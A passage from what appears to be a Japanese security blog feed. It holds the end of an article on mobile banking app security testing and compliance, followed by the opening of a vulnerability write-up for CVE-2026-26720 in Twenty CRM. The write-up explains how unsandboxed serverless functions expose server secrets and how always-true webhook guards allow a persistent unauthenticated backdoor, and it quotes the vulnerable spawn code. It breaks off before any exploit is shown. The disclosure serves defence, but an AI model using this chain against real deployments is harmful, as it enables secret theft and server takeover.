&lt;h3 id="セッション管理のセキュリティ"&gt;セッション管理のセキュリティ&lt;/h3&gt;
&lt;p&gt;セッション処理は、アプリケーションの利用中にユーザーの身元がどのように維持され、セッションが期限切れになったときやユーザーがログアウトしたときにアクセスがどのように終了するかを決定します。セッション管理が脆弱だと、攻撃者がアクティブなセッションを乗っ取ったり、期限切れの認証情報を再利用したり、意図した期間を超えてアクセスを維持したりできる可能性があります。そのため、テストではトークンのライフサイクル管理、ログアウト時の挙動、有効期限のロジック、トークンの保存方法、そして異常な条件下でセッション固定や再利用が可能かどうかを評価する必要があります。&lt;/p&gt;
&lt;h3 id="決済と送金のワークフローの保護"&gt;決済と送金のワークフローの保護&lt;/h3&gt;
&lt;p&gt;決済と送金は、資金の直接的な移動を伴うため、あらゆるバンキングアプリケーションで最も機密性の高い操作の一つです。セキュリティテストでは、クライアント側の操作によって取引リクエストを改変できないこと、支払金額と送金先の詳細が正しく検証されること、バックエンドの認可チェックが一貫して適用されていることを検証する必要があります。取引の不正な改変は、モバイルバンキングにおける最も重要な不正シナリオの一つであり続けているため、このワークフローにはクライアント側とサーバー側の両方で強力な保護が必要です。&lt;/p&gt;
&lt;h3 id="受取人管理のセキュリティ"&gt;受取人管理のセキュリティ&lt;/h3&gt;
&lt;p&gt;受取人管理もリスクの高い領域です。多くの不正スキームでは、不正な受取人の追加や支払情報の変更が試みられるからです。攻撃者が受取人の記録を改変したり、支払いを悪意のある口座に振り向けたりできれば、その影響は即座に、かつ深刻に現れます。これらの機能を保護するには、強固なサーバー側の検証、承認フロー、監視が不可欠です。受取人管理は不正リスクと密接に結び付いているため、モバイルセキュリティテストの一環として継続的に評価する必要があります。&lt;/p&gt;
&lt;h2 id="モバイルバンキングアプリケーションによく見られる脆弱性"&gt;モバイルバンキングアプリケーションによく見られる脆弱性&lt;/h2&gt;
&lt;p&gt;モバイルバンキングアプリには複数の技術層にわたって弱点が存在する可能性があり、これらの脆弱性はアプリケーション自体と、それを取り巻くより広い金融環境の両方に影響を与えます。こうしたカテゴリを理解することで、チームはリスクが最も高い領域にテストの労力を集中できます。&lt;/p&gt;
&lt;h3 id="機密データの露出"&gt;機密データの露出&lt;/h3&gt;
&lt;p&gt;認証トークン、個人識別子、暗号素材などの機密情報は、決して安全でない場所に保存すべきではありません。モバイルアプリでは、シークレットがローカルデータベース、共有プリファレンス、キャッシュ、ログ、スクリーンショットに書き込まれたときにリスクが生じることがよくあります。安全でないメモリ処理によって、実行中に価値の高いデータが露出することもあります。金融アプリケーションは機密性の極めて高いユーザー情報と取引情報を処理するため、この種の弱点は口座の侵害やデータ漏えいに直結する可能性があります。これは周辺的な問題ではありません。ハードコードされたシークレットだけでも、分析したアプリの&lt;strong&gt;50%&lt;/strong&gt;以上に影響しており、コード内のAPIキー、トークン、認証情報が露出していました。&lt;/p&gt;
&lt;h3 id="kycフローのセキュリティリスク"&gt;KYCフローのセキュリティリスク&lt;/h3&gt;
&lt;p&gt;顧客の本人確認プロセスは、ますますモバイルアプリケーションに直接組み込まれるようになっています。書類のアップロード、自撮りによる本人確認、身元情報の取得といったステップは、極めて機密性の高い個人データを扱うため、新たな露出を生み出します。これらのワークフローの保護が不十分だと、本人確認のアーティファクトが永続的に保存されたり、安全でない形でキャッシュされたり、脆弱なセッション状態の管理によって露出したままになったりする可能性があります。セキュリティテストでは、KYCプロセスを単なる業務機能としてだけでなく、重要なデータ処理ワークフローとしても扱う必要があります。&lt;/p&gt;
&lt;h3 id="暗号実装の弱点"&gt;暗号実装の弱点&lt;/h3&gt;
&lt;p&gt;暗号化はバンキングアプリケーションの保護において中心的な役割を果たしますが、実装上の誤りは依然としてよく見られます。アプリが古い暗号アルゴリズムに依存していたり、ハードコードされた鍵を使っていたり、鍵のローテーションとライフサイクルを適切に管理していなかったりすると、問題が生じることがあります。脆弱な暗号設計は、保存データと転送データの両方の機密性を損なう可能性があり、信頼と完全性が不可欠な金融環境では大きな懸念事項です。&lt;/p&gt;
&lt;h3 id="クライアント側のセキュリティ制御の弱点"&gt;クライアント側のセキュリティ制御の弱点&lt;/h3&gt;
&lt;p&gt;モバイルアプリケーションはリバースエンジニアリングや操作が可能であるため、セキュリティ上の判断をクライアント側のロジックだけに頼るべきではありません。重要なチェックがアプリ自体でしか実施されていない場合、攻撃者は実行時の挙動を改変したり、隠された制御を悪用したり、想定されたインターフェースの外からAPIと直接やり取りしたりして、それらを回避する可能性があります。強固なセキュリティ設計では、重要な判断をクライアントだけに任せるのではなく、サーバー側で検証する必要があります。&lt;/p&gt;
&lt;h3 id="アプリケーションの改ざんと耐性"&gt;アプリケーションの改ざんと耐性&lt;/h3&gt;
&lt;p&gt;攻撃者は、アプリケーションの挙動を理解したり変えたりするために、デバッグの悪用、実行時の注入、コードの改変、不正な計装を試みる可能性があります。バンキングアプリの場合、これにより信頼境界が弱まり、さらなる悪用が容易になります。アプリケーションのハードニングと耐性の技術は、実行中の完全性を保ち、攻撃者がアプリをうまく操作できる可能性を減らすのに役立ちます。&lt;/p&gt;
&lt;h3 id="webviewとディープリンクのセキュリティリスク"&gt;WebViewとディープリンクのセキュリティリスク&lt;/h3&gt;
&lt;p&gt;組み込みブラウザーのコンポーネントやナビゲーションスキームは、慎重に実装されていないと脆弱性をもたらす可能性があります。WebViewのコンテキスト内でのインジェクション、ディープリンクを通じた悪意のあるリダイレクト、URLの操作によるセッションハイジャックは、いずれも不正な操作の糸口になり得ます。小さなナビゲーションの欠陥でも、認証、セッション、決済に関連するワークフローを露出させる可能性があるため、これらの問題はモバイルバンキングでは特に重要です。&lt;/p&gt;
&lt;h3 id="サプライチェーンとサードパーティコンポーネントのリスク"&gt;サプライチェーンとサードパーティコンポーネントのリスク&lt;/h3&gt;
&lt;p&gt;最新のモバイルバンキングアプリケーションは、サードパーティのソフトウェア開発キット（SDK）、ライブラリ、組み込みフレームワークに依存しています。これらのコンポーネントは開発を加速させる一方で、古かったり、脆弱だったり、侵害されていたりするとリスクをもたらします。脆弱性は銀行自身のコードだけでなく、アプリが依存する外部の依存関係から生じる場合もあるため、モバイルセキュリティにおいてサプライチェーンのリスクはますます重要になっています。この問題の規模は調査からも明らかで、古いライブラリはバンキングアプリの&lt;strong&gt;46%&lt;/strong&gt;に影響していました。&lt;/p&gt;
&lt;h2 id="モバイルセキュリティテストが生成するエビデンス"&gt;モバイルセキュリティテストが生成するエビデンス&lt;/h2&gt;
&lt;p&gt;効果的なセキュリティ検証では、理論上の検出結果のリストを示すだけでは不十分です。何が見つかったのか、なぜそれが重要なのか、どのように修正すればよいのかをチームが理解できるエビデンスを生成する必要があります。セキュリティ上の判断をエンジニアリングとコンプライアンスの両方の関係者がレビューする必要があることの多いバンキング環境では、これは特に重要です。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;逆コンパイルされたアプリケーションのコンテキスト&lt;/li&gt;
&lt;li&gt;ファイルシステムのアクティビティのエビデンス&lt;/li&gt;
&lt;li&gt;コードパスの実行カバレッジ&lt;/li&gt;
&lt;li&gt;トリアージにすぐ使える調査アーティファクト&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="技術的なエビデンス、修復手順、参考情報を含むOstorlabの検出結果ページ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_banking_security/Ostorlab Evidence.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="規制とコンプライアンスに関する考慮事項"&gt;規制とコンプライアンスに関する考慮事項&lt;/h2&gt;
&lt;p&gt;金融機関は、モバイルバンキングのセキュリティプログラムを業界の規制やサイバーセキュリティのフレームワークに整合させる必要があります。モバイルアプリケーションは機密性の高い顧客データを扱い、重要な取引を支えているため、規制当局は金融機関に対し、強固な制御、レジリエンスの高いシステム、継続的なテストの実践を示すことをますます求めています。&lt;/p&gt;
&lt;p&gt;セキュリティテストは、保護策が正しく実装され、意図したとおりに機能していることを組織が検証するのを助けることで、こうした期待に応えます。また、セキュリティチームがデータ保護、決済のセキュリティ、オペレーショナルレジリエンスについて、より強固な社内保証を構築するのにも役立ちます。&lt;/p&gt;
&lt;h3 id="nis2"&gt;NIS2&lt;/h3&gt;
&lt;p&gt;NIS2は、金融エコシステムの一部を含む重要セクターに対して、サイバーセキュリティとリスク管理の義務を定めています。モバイルバンキングにとっては、アプリケーションのリスクを可視化し、レジリエンスの実践を強化する必要性が一層高まります。&lt;/p&gt;
&lt;h3 id="dora"&gt;&lt;a href="https://blog.ostorlab.co/understanding-dora-compliance-for-mobile-teams.html"&gt;DORA&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;デジタル・オペレーショナル・レジリエンス法（DORA）は、金融機関のオペレーショナルレジリエンスとICTリスク管理に焦点を当てています。モバイルバンキングの文脈では、重要なデジタルサービスをテストし、セキュリティ制御が長期にわたって有効であり続けることを検証することの重要性が浮き彫りになります。&lt;/p&gt;
&lt;h3 id="pci dss"&gt;PCI DSS&lt;/h3&gt;
&lt;p&gt;PCI DSSは、決済関連データを保護するための基準を定めています。決済処理に関わるモバイルアプリケーションは、カード会員データを保護し、取引フローを安全にするために、これらの要件に準拠する必要があります。&lt;/p&gt;
&lt;h3 id="ffiecのガイダンス"&gt;FFIECのガイダンス&lt;/h3&gt;
&lt;p&gt;FFIECのガイダンスは、金融セクターにおけるサイバーセキュリティテストと監査に関する期待事項を示しています。モバイルアプリケーションにとっては、反復可能なセキュリティ検証と、リスクが監視され対処されていることを示す明確なエビデンスの必要性を裏付けるものです。&lt;/p&gt;
&lt;h3 id="glba"&gt;GLBA&lt;/h3&gt;
&lt;p&gt;GLBAは、金融機関に消費者の金融情報を保護することを求めています。モバイルバンキングアプリはこうしたデータをさまざまな形で処理・保存することが多いため、コンプライアンスを支えるには強固なテストと保護策が不可欠です。&lt;/p&gt;
&lt;h3 id="owasp mobile top 10"&gt;&lt;a href="https://blog.ostorlab.co/owasp-mobile-application-verification-standard-masvs.html"&gt;OWASP Mobile Top 10&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;OWASP Mobile Top 10は、モバイルのリスクの一般的なカテゴリを理解するための有用な参考資料であり続けています。チームがテストの取り組みを構造化し、技術的なリスクをより標準化された形で伝えるのに役立ちます。&lt;/p&gt;
&lt;h2 id="開発ライフサイクルへのモバイルバンキングのセキュリティテストの組み込み"&gt;開発ライフサイクルへのモバイルバンキングのセキュリティテストの組み込み&lt;/h2&gt;
&lt;p&gt;最新のモバイルセキュリティ戦略は、開発後にときどき行う評価だけに頼るべきではありません。バンキングアプリケーションは急速に進化するため、問題をより早く特定し、変更後に再評価できるよう、セキュリティテストを開発ライフサイクルに組み込む必要があります。&lt;/p&gt;
&lt;h3 id="ci/cdとの連携"&gt;CI/CDとの連携&lt;/h3&gt;
&lt;p&gt;セキュリティスキャンをCI/CDパイプラインに組み込むことで、チームはリリースプロセスのより早い段階で問題を検出し、アプリケーションの進化に合わせてより一貫したテストカバレッジを維持できます。これにより、フィードバックが速くなり、後工程での修復コストが下がります。&lt;/p&gt;
&lt;h3 id="課題管理と修復のワークフロー"&gt;課題管理と修復のワークフロー&lt;/h3&gt;
&lt;p&gt;セキュリティの検出結果は課題管理システムと自然に連携し、エンジニアリングチームが整理された形でレビュー、優先順位付け、解決を行えるようにすべきです。これにより、セキュリティチームと開発チームの協力が改善され、評価から修復までの間で脆弱性が見失われることを防げます。&lt;/p&gt;
&lt;h3 id="idとアクセスの制御"&gt;IDとアクセスの制御&lt;/h3&gt;
&lt;p&gt;テストプラットフォーム、検出結果、修復データへのアクセスは、特に金融環境では慎重に管理する必要があります。セキュリティワークフローを取り巻く強固なIDとアクセスの管理は、機密情報を保護し、説明責任を維持するのに役立ちます。&lt;/p&gt;
&lt;h3 id="継続的な再評価"&gt;継続的な再評価&lt;/h3&gt;
&lt;p&gt;アプリケーションの小さなアップデート、依存関係の変更、バックエンドの修正でさえ、新たな弱点をもたらす可能性があります。継続的な再評価は、セキュリティ制御を一度きりのチェックとして扱うのではなく、長期にわたって有効であり続けるようにするのに役立ちます。&lt;/p&gt;
&lt;p&gt;モバイルバンキングアプリケーションは現代の金融サービスの中心にありますが、その重要性ゆえに攻撃者の格好の標的にもなっています。これらのプラットフォームの保護は、一度きりのプロジェクトではありません。継続的なテスト、端末・ネットワーク・バックエンドシステムにわたるより強固なレジリエンス、そしてチームが効率的に問題を検証・修正できるようにする技術的なエビデンスが必要です。&lt;/p&gt;
&lt;p&gt;プロアクティブなモバイルセキュリティテストを開発ライフサイクルに組み込むことで、金融機関は悪用される前に脆弱性を特定し、リスクの高いワークフローの保護を強化し、規制当局の期待により適切に応えられます。モバイルファーストがますます進む金融環境において、このレベルの慎重さはもはや任意のものではありません。リスクを低減し、顧客の信頼を維持し、より安全なデジタルバンキング体験を提供するために不可欠です。&lt;/p&gt;
&lt;h2 id="ostorlabがバンキングチームを支援する方法"&gt;Ostorlabがバンキングチームを支援する方法&lt;/h2&gt;
&lt;p&gt;このアプローチを自社のバンキングアプリに適用したい場合に向けて、Ostorlabが何を行い、何を必要とし、どこまでが対象範囲なのかを説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;得られるもの&lt;/strong&gt;：Ostorlabは、自社のバンキングアプリのリリースごとにテストを行います。ログインし、TLSピンニングや難読化が施されている場合も含めて顧客がダウンロードするビルドをテストし、アプリを追って口座や決済の背後にあるAPIとビジネスロジックまで調べます。AIエージェントによる各検出結果には、再生可能な実際に動作するエクスプロイトが付属し、検出結果には前述のような種類のエビデンス、つまり逆コンパイルされたソースのコンテキスト、ファイルシステムのエビデンス、関数呼び出しのカバレッジが含まれます。高速スキャンは通常1～5分、フルスキャンは15～45分で完了します。AIエージェントによるペンテストはより深く調べるもので、アプリによりますが、通常は数時間かかります。検出結果はチケットにまとめられ、プラットフォーム上で担当者を割り当てたり、Jira、ServiceNow、その他のチケット管理システムに送信したりできます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要なもの&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アプリ&lt;/strong&gt;：まずは&lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;でApp StoreまたはGoogle Playの自社アプリを検索し、無料の高速スキャンを実行してください。ログインは不要です。アカウントがあれば、AndroidのAPKやAAB、iOSの暗号化されていないIPAをアップロードしたり、TestFlightのビルドをスキャンしたりすることもできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログイン後のフロー用のテストアカウント&lt;/strong&gt;：ログイン、決済、アカウントの変更は、スキャンがサインインできる場合にのみカバーされます。スキャンの設定でテストアカウントを追加し、SMS、TOTP、メールでワンタイムコードを受け取る手段も用意してください。SMSコードについては、&lt;a href="https://docs.ostorlab.co/tutorials/2FA_scans.html"&gt;Ostorlabサポートがテスト専用の電話番号を提供しており&lt;/a&gt;、テストアカウントでその番号を使います。ランダムな数字パッドのような独自方式は、Appiumスクリプトで自動化するか、Ostorlabのサポートチームが対応します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワークアクセス&lt;/strong&gt;：インターネットに公開されているアプリには、特別なアクセスは必要ありません。インターネットに公開されていないバックエンドの場合は、スキャナーのIPアドレスを許可するか、&lt;a href="https://ostorlab.co/product/on-premises-scanning"&gt;オンプレミススキャン&lt;/a&gt;を使ってネットワーク内部からステージング環境のアプリとAPIをスキャンしてください。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アプリの保護機能への対応方針&lt;/strong&gt;：Ostorlabの&lt;a href="https://docs.ostorlab.co/tutorials/mobile_scan_prerequisites.html"&gt;モバイルスキャンの前提条件&lt;/a&gt;では、すべての保護機能を有効にした状態でテストした後、無効にした状態でもテストし、保護機能がどの検出結果を隠していたかを確認することを推奨しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;対象範囲と対象外&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;対象範囲：Android、iOS、HarmonyOSのアプリ、それらが呼び出すAPIとバックエンド、認証とワンタイムコードのフロー、そして&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;によるAndroidとiOSアプリのアプリシールディング。&lt;/li&gt;
&lt;li&gt;WebアプリとAPIは、モバイルアプリなしで単独でテストすることもできます。&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Web Agentic Deep Scan&lt;/a&gt;は、ターゲットのURLまたはドメイン、テスト用の認証情報、そしてAPIの場合は&lt;a href="https://docs.ostorlab.co/tutorials/web_api_scan_with_schema_file.html"&gt;OpenAPI、GraphQL、WSDLのスキーマ&lt;/a&gt;を受け付けます。&lt;/li&gt;
&lt;li&gt;Ostorlabは手動のペネトレーションテストに取って代わるものではありません。リリースごとにテストするため、手動テストの合間に問題が見つかり、必要な手動ペンテストの工数を減らせる可能性があります。人間の判断が必要な範囲には、引き続き手動テストを行ってください。&lt;/li&gt;
&lt;li&gt;上記のフレームワークについて、Ostorlabはそのセキュリティ上の期待事項に照らしたテストを支援し、エビデンスとして再利用できるレポートを提供します。DORAに基づく脅威ベースのペネトレーションテスト（TLPT）は実施しません。また、ネットワーク、物理セキュリティ、バックアップ、インシデント管理など、アプリケーション層を超える制御は、他のツールやチームの担当範囲となります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/banking-report-2025.html"&gt;Banking Report 2025&lt;/a&gt;は、上位500以上のモバイルバンキングアプリのセキュリティを取り上げています。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;Bypassing Mobile App Shielding&lt;/a&gt;では、本番環境の5つのバンキングアプリでシールディングがどの程度機能したかを検証しています。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/case-studies/bumble"&gt;Bumbleの導入事例&lt;/a&gt;では、iOSとAndroidのリリースプロセスにOstorlabが組み込まれ、重大度が高およびクリティカルの検出結果があるリリースは、修正が確認されるまでブロックされる様子を紹介しています。&lt;/li&gt;
&lt;li&gt;ベンダー審査向け：OstorlabはSOC 2 Type IIレポート（セキュリティ基準、2024年11月18日～2025年4月18日）を取得しており、現在の期間の監査が進行中です。Enterpriseプランでは、データの保管場所として米国、欧州連合、GCC、アジア太平洋地域を選択できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;次のステップ&lt;/strong&gt;：まずはストアから自社アプリの無料スキャンを行い、その後テスト用の認証情報を追加してフルスキャンを実行し、ログイン後のフローもカバーしてください。リリース全体にわたるテストを計画するには、&lt;a href="https://ostorlab.co/solutions/banking"&gt;Ostorlab for banking&lt;/a&gt;をご覧いただくか、&lt;a href="https://ostorlab.co/demo"&gt;デモをご予約ください&lt;/a&gt;。&lt;/p&gt;</content><category term="Security"/><category term="Mobile"/><category term="Banking"/><category term="Security"/><category term="Compliance"/></entry><entry><title>Twenty CRMのサーバーレス関数がクリティカルなRCEと恒久的な未認証バックドアのリスクを露呈（CVE-2026-26720）- PoCとエクスプロイト</title><link href="https://blog.ostorlab.co/ja/cve-2026-26720-twenty-crm-serverless-rce.html" rel="alternate"/><published>2026-04-15T09:00:00+02:00</published><updated>2026-04-15T09:00:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-04-15:/ja/cve-2026-26720-twenty-crm-serverless-rce.html</id><summary type="html">&lt;p&gt;CVE-2026-26720の技術的解説です。これはTwenty CRM（≤ v1.15.0）に存在するCVSS 9.8のクリティカルな認証済みリモートコード実行の脆弱性です。任意のワークスペースメンバーが、サンドボックス化されずに実行されるサーバーレス関数を作成・実行でき、process.envへの完全なアクセスによってAPP_SECRET、PG_DATABASE_URL、およびすべてのサーバーサイドの認証情報が漏えいします。PublicEndpointGuardを通じて公開されるWebhook起動のワークフローと組み合わせると、1人の認証済み攻撃者が、インターネット上のどこからでもアクセス可能な恒久的な未認証RCEバックドアを設置できます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;CVE-2026-26720のエクスプロイト&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サンドボックス化されていないサーバーレス関数を介した認証済みRCE &amp;rarr; 恒久的な未認証バックドア&lt;/p&gt;
&lt;p&gt;2026年3月3日 &amp;middot; CVSS 9.8 クリティカル &amp;middot; Twenty CRM &amp;le; v1.15.0&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-26720&lt;/td&gt;
&lt;td style="text-align: left;"&gt;9.8 Critical&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Twenty CRM &amp;le; v1.15.0&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Twenty CRM v1.15.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Twenty CRMは、28,000以上のGitHubスターを持つオープンソースのCRMプラットフォームで、マネージド型のクラウド提供も行っています。ワークスペースのメンバーは「サーバーレス関数」、すなわちサーバー上で実行されるカスタムのTypeScriptコードを作成できます。問題は、これらの関数が、サンドボックスもコード制限もなく、親プロセスの環境を完全に継承した状態で、むき出しの&lt;code&gt;child_process.spawn()&lt;/code&gt;で実行される点です。以下では、任意の認証済みユーザー（クラウド上で新規に自己登録したばかりのアカウントを含む）が、どのようにして完全なサーバーサイドのRCEを達成し、サーバー上のあらゆるシークレットを窃取し、起動に認証を一切必要としない恒久的なバックドアを設置できるのかを解説します。&lt;/p&gt;
&lt;h2 id="cve-2026-26720のエグゼクティブサマリー:サンドボックス化されていないサーバーレス関数の実行"&gt;CVE-2026-26720のエグゼクティブサマリー：サンドボックス化されていないサーバーレス関数の実行&lt;/h2&gt;
&lt;p&gt;CVE-2026-26720は、Twenty CRMに存在する3つの脆弱性の連鎖であり、これらが合わさってCVSS 9.8のクリティカルな影響を生み出します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;サンドボックス化されていないコード実行&lt;/strong&gt; &amp;mdash; サーバーレス関数は&lt;code&gt;spawn(process.execPath, ...)&lt;/code&gt;に&lt;code&gt;{ ...process.env, ...env }&lt;/code&gt;を与えて実行され、ユーザーが提供したコードに&lt;code&gt;child_process&lt;/code&gt;、&lt;code&gt;fs&lt;/code&gt;、&lt;code&gt;net&lt;/code&gt;、およびあらゆるサーバー環境変数（&lt;code&gt;APP_SECRET&lt;/code&gt;、&lt;code&gt;PG_DATABASE_URL&lt;/code&gt;、&lt;code&gt;REDIS_URL&lt;/code&gt;）への完全なアクセスを与えてしまいます。  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;コード検証の欠如&lt;/strong&gt; &amp;mdash; &lt;code&gt;updateOneServerlessFunction&lt;/code&gt;ミューテーションは、静的解析、ASTの制限、モジュールインポートのブロックリストが一切ないまま、任意のTypeScriptコードを受け入れます。&lt;code&gt;execSync&lt;/code&gt;、&lt;code&gt;spawn&lt;/code&gt;、&lt;code&gt;fs.readFileSync&lt;/code&gt;はすべて許可されています。  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;未認証のWebhookエンドポイント&lt;/strong&gt; &amp;mdash; &lt;code&gt;POST /webhooks/workflows/:workspaceId/:workflowId&lt;/code&gt;エンドポイントは&lt;code&gt;PublicEndpointGuard&lt;/code&gt;と&lt;code&gt;NoPermissionGuard&lt;/code&gt;で保護されていますが、どちらも無条件に&lt;code&gt;true&lt;/code&gt;を返します。攻撃者がいったん悪意のあるサーバーレス関数をWebhook起動のワークフローに結び付けてしまえば、インターネット上の任意のHTTPクライアントが、認証情報なしで、それを永久に起動できます。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;影響&lt;/strong&gt;：完全なリモートコード実行。任意のワークスペースメンバー（自己登録したクラウドアカウントを含む）が、すべてのサーバーシークレットを窃取し、データベースに直接アクセスし、ファイルシステムを読み書きし、恒久的な未認証バックドアを設置できます。しかもこれらはすべて、エクスプロイトの複雑さが一切ないまま、製品が意図した機能を通じて実現されます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="脆弱性 #1:完全な環境継承を伴う、サンドボックス化されていないコード実行"&gt;脆弱性 #1：完全な環境継承を伴う、サンドボックス化されていないコード実行&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;シンク &amp;mdash; &lt;code&gt;local.driver.ts&lt;/code&gt;の288行目&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;中核となる脆弱性は、サーバーレス関数の実行エンジンにあります。関数が実行されると、&lt;code&gt;LocalDriver&lt;/code&gt;は子のNode.jsプロセスを生成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;runnerPath&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ALL server secrets passed to child&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;stdio&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ipc'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;process.env&lt;/code&gt;は子プロセスの環境に直接スプレッドされます。これは、Twentyサーバープロセスが利用できるすべてのシークレット（&lt;code&gt;APP_SECRET&lt;/code&gt;、&lt;code&gt;PG_DATABASE_URL&lt;/code&gt;、&lt;code&gt;REDIS_URL&lt;/code&gt;、クラウドプロバイダーの認証情報、SMTPパスワード）が、&lt;code&gt;process.env&lt;/code&gt;を通じてユーザー提供のコードからアクセス可能になることを意味します。&lt;/p&gt;
&lt;p&gt;サンドボックスは存在しません。&lt;code&gt;vm2&lt;/code&gt;も、&lt;code&gt;isolated-vm&lt;/code&gt;も、Dockerコンテナも、制限的な&lt;code&gt;seccomp&lt;/code&gt;プロファイルもありません。子プロセスはサーバーと同じOSユーザーとして、同じファイルシステムアクセス、同じネットワークアクセス、同じ認証情報を持って実行されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インポート制限の欠如&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;updateOneServerlessFunction&lt;/code&gt;ミューテーションは任意のTypeScriptコードを受け入れ、制限なしにコンパイルします。&lt;/p&gt;
